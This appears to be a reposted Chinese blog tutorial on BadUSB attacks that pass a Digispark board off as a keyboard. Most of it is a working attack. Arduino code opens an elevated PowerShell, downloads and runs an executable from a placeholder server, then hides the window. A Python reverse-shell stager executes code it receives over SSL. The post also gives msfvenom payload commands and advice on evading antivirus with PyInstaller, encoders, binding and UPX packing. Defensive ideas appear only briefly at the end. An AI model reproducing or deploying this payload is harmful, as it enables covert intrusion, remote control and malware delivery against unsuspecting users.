BadUSB攻击
Posted 等秋风扫落叶
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BadUSB攻击相关的知识,希望对你有一定的参考价值。
引言
在2014年美国黑帽大会上,柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了“BadUSB”的攻击方法,可以让所有具有USB外接功能的电脑设备都有受到攻击的风险。
一、 先看看HID攻击
1、HID是什么
HID(Human Interface Device)人机接口设备类别是Windows最早支持的USB类别。通过英文名称可以了解HID设备是指计算机直接与人交互的设备,例如:键盘、鼠标和游戏杆等。
在HID出现之前,每一个外接设备在接入电脑时,都需要初始化驱动程序和协议,比如更换鼠标键盘,新接入USB类型的设备等,大都需要重载所有的协议和设备。HID概念之后,只要满足HID类别设备的规范文件(Device Class Definition for Human interface Devices),则都可以直接用HID的驱动程序和设备进行通讯。也就是说,所有的HID定义的设备驱动程序提供包含任意数据类型和格式的自我描述包,计算机上的HID程序就可以解析数据和实现数据I/O与应用程序的动态关联。
2、什么是HID攻击
在HID设计并使用之后,电脑并没有对于任何接入进来的设备进行安全识别,所以攻击者可以把攻击隐藏在一个正常的鼠标/键盘之中,当用户将含有攻击向量的鼠标或键盘插入电脑时,恶意代码就会被加载和执行。
3、缺陷
此类HID攻击的缺陷是需要完成设备定制化的过程,比如你买来一个键盘,如果想要利用这个键盘发动攻击,就需要对
键盘中的固件进行修改,将自己的攻击向量写入到键盘中,这样才能发动有效的攻击。
二、 看看Bad USB
1、攻击原理
前文所说,在HID设计之后,可以将自己的攻击向量隐藏在HID设备中发动攻击。缺陷是需要定制化设备。而BadUSB呢?
在HID类型的人机交互模式下,任意一个USB设备都可以通过自我描述来让计算机确认该设备属于什么类型。在正常情况下,键盘会将自己描述为键盘,鼠标表述为鼠标,但是,有没有存在伪装的情况呢?
HID攻击指通过将插入的带有攻击向量的USB设备描述成攻击者想要的类型,插入后自动执行加载恶意代码的攻击方式。
顾名思义,由于HID的设备接入模式下,计算机给了接入的设备自我描述设备类型的机会,这样就导致了一些定制好的设备可以伪装成其他的设备,从而实现恶意攻击的能力。比较典型的攻击类型为通过将任意一个USB设备模拟成为键盘或者鼠标,实现基本的I/O交互功能,比如通过键盘远程下载木马文件并且运行等等。
2、攻击描述
通过BadUSB模式进行攻击的类型许多,这里可以简单描述一个伪装成为键盘的示例。以U盘为例,正常的U盘插入到电脑的大概流程:
构造Bad USB的固件,让电脑识别为键盘:
在构造固件中的内容:
3、攻击实践
1、先买个板子,我购买的是Digispark微型USB开发板
2、下载Digispark驱动和Arduino
下载链接:https://www.arduino.cc/
下载链接:http://digistump.com/wiki/digispark/tutorials/connecting
配置过程参考:https://www.jianshu.com/p/b33d61fc2678
3、测试代码编写
先看我们想要实现的结果是什么?我想完成的是在用户将板子插入后,可以打开小窗的命令行,然后执行下载我的反弹shell脚本并且运行的过程;反弹shell脚本是通过python进行编译的(附录上代码)。
4、结果展示
插入Bad USB前:
插入之后:
可以看出当前电脑已经将我的Bad USB识别为HID键盘设备。
插入后,服务器上成功连接本地shell:
三、总结
1、常见场景绕过
针对反弹shell的情况下,我们需要的过程是:先通过将自己的USB设备伪装成键盘,然后模拟键盘以管理员身份打开shell命令行。交互过程中包括输入键盘中的固定按钮,使用函数press和release,通过Win+R打开Windows系统的“运行“窗口后,再通过打印函数(println)打开shell。
输入法问题:此时,如果键盘的输入法为中文(无法按照预定模式正常进行),需要考虑 先将键盘的模式调整成为大写(默认是小写),然后通过shift+字符的方式进行巧妙的转换。
然后是编写自己的一句话木马,在我们测试过程中,是通过Metasploit(MSF)辅助测试(本身对于MSF了解不是很多,只说只用部分),最开始使用的攻击载荷为:msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe,以及其编码类型的生成方式:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=IP.IP.IP.IP lport=3333 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe;其中,-e是编码方式,-i是编码的次数。但是在进行测试时,发现下载的EXE攻击载荷会告警报毒,并且有一定几率被直接清除掉(火绒和电脑管家);
此时,参考网络上的交流,推断是在下载软件包后,杀毒软件会对软件包的内容进行解析,若解析出具有攻击向量的内容,则会直接触发告警。就比如Nc,Sqlmap等等,那我的想法是通过什么样的方式可以让杀毒软件无法解析我的载荷内容?此处我的想法是模拟Msfvenom 生成的python版本代码,我在本地直接用Python编写一样的攻击脚本,然后通过Pyinstaller对编写并测试好的Python代码进行编译打包。将其打包成EXE。发现可以绕过杀毒软件的检测。
还有其他方法可以绕过杀毒吗?
可以将自己下载的软件在此链接中进行测试:https://www.virustotal.com/gui/home/url;
常见的通过MSF编写免杀木马绕过的方式就是借用MSF内置的编码方式。通过一种其无法解析的编码方式,从而让杀毒软件无法认出来。方法的有效性不好,好些编码方式杀软都能“认“出来。原因:编码有时候太简单,可以逞一时之快。
第二种方式是将自己的原生木马和互联网上安全的可执行文件进行捆绑(MSF内置捆绑功能,怎么实现的可以研究下)。捆绑完成后,有一定几率绕过杀毒软件检测,主要的原因是大量的安全因素中混合高危代码,可能敏感程度会有所降低。
第三种方式是用UPX加壳,逻辑是将可执行文件中的代码和数据进行压缩,并且将解压缩的代码附加在其之前,这样直到程序运行,其都是无法解压的状态,然后在运行的时候可以实现自动解压,并不影响使用。绕过率较高,可以被防范的地方是有些杀软会内置沙箱的模拟运行模式,在此模式下,用户下载了未被识别的软件后,会在沙箱中模拟运行,并且检测程序的异常行为,有危险立即告警。
2、Bad USB影响是什么
Bad USB场景下,任何电脑具备USB接口类型的,都有可能遭受到攻击。最简单的是针对对方电脑的类型版本,是否有杀毒软件等,一对一定制化的进行木马或攻击向量编写,理论上通过键盘可以独立完成的电脑所有内容,通过Bad USB都可以模拟出来。比如后台文件窃取,反弹shell和自启动、直接发送病毒,然后通过键盘取消掉杀软的告警、等等。再有其通用化的危害性非常大,主要原因是当前Windows电脑普遍没有独立的防护措施,谁来插都可以。。。。。。完全支持量产Bad USB的情况下,进行无差别攻击。
3、怎么防范呢?
a、有的企业直接禁止连接其他外设。“你能攻击我?那我直接关闭你攻击的点“。但是众所周知,此类大多存在于安防要求较高的企业。
b、设计新的协议,优化HID的协议缺陷。在原有协议主机和设备枚举之前,增加主机和设备之间的认证过程,只有主机认证的签名设备才可以继续进行枚举。需要类似于TCP的权威协议,然后市场普遍替换。
c、根据大量的攻击特点表明,此类攻击主要就是模拟鼠标和键盘的行为,从而达到攻击的目的。那么是否可以对此行为进行异常检测?比如统计正常人的键盘鼠标操作点击频率,然后识别出非人为的点击行为。缺点:容易被绕过和混淆。
d、攻击主要是物理类型的,任何Bad USB攻击都需要插入到电脑上之后才能够实现。那么有没有可能新增一种外接硬件防火墙设备,通过HID和认证协商协议将电脑和硬件防火墙进行硬性绑定,然后所有的其他外界设备都需要通过硬件防火墙开放的接口才能连接电脑。此时硬件防火墙能做什么呢?做访问控制和设备类型检测,也就是先用沙箱检测接入设备的行为,查看它的枚举内容,沙箱再将检查的结果返回给主机,用户通过PC上的软件可以看到接入的设备类型,如用户判断接入可行,且符合正常需求,则可以放行至PC主机端口,进行交互。方法具备一定的可行性。
e、最后,如何有效的防护好外接设备的安全?最根本的一点就是不能长期授权和信任任何一个外接的设备,否则都有可能收到威胁。比如:对接入设备进行主动认证,目的是避免传统密码认证的缺陷。主动认证完成后,也应该根据外界环境的变化,实时调整设备的安全策略,及时进行检测和告警。
arduino代码参考:
#include "DigiKeyboard.h"
void setup()
// put your setup code here, to run once:
DigiKeyboard.delay(3000);//延时3秒
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//按下win+r键
DigiKeyboard.delay(500);
DigiKeyboard.println("cmd");//输入"cmd"并确认
DigiKeyboard.delay(500);
DigiKeyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");//缩小cmd窗口
DigiKeyboard.delay(300);
DigiKeyboard.println("powershell.exe -command start-process powershell -verb runAs");//以管理员身份运行powershell
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);//按下左箭头
DigiKeyboard.sendKeyStroke(KEY_ENTER);//按下回车
DigiKeyboard.delay(1000);
DigiKeyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT");
DigiKeyboard.println("$P.dOWNLOADfILE('http://ip.ip.ip.ip/test/weixinGame.exe','C:\\\\Game.exe')");//从服务器上下载木马到D盘
DigiKeyboard.delay(1000);
DigiKeyboard.println("C:\\\\Game.exe");//启动木马
DigiKeyboard.delay(2000);
DigiKeyboard.println("exit");//退出
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);//按下ALT+F4
void loop()
// put your main code here, to run repeatedly:
python代码参考:
import zlib,base64,ssl,socket,struct,time
for x in range(10):
try:
so=socket.socket(2,1)
so.connect(('IP',端口))
s=ssl.wrap_socket(so)
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),'s':s)
参考:
centos搭建msf:https://blog.csdn.net/m0_52400001/article/details/123727855
信息安全研究期刊 《USB HID攻击与防护技术综述》
HID攻击之Teensy实战:http://blog.topsec.com.cn/tag/hid%e6%94%bb%e5%87%bb/
Bad USB的前世今生:https://cloud.tencent.com/developer/article/1036206
解密BadUSB:https://cloud.tencent.com/developer/article/1035979
以上是关于BadUSB攻击的主要内容,如果未能解决你的问题,请参考以下文章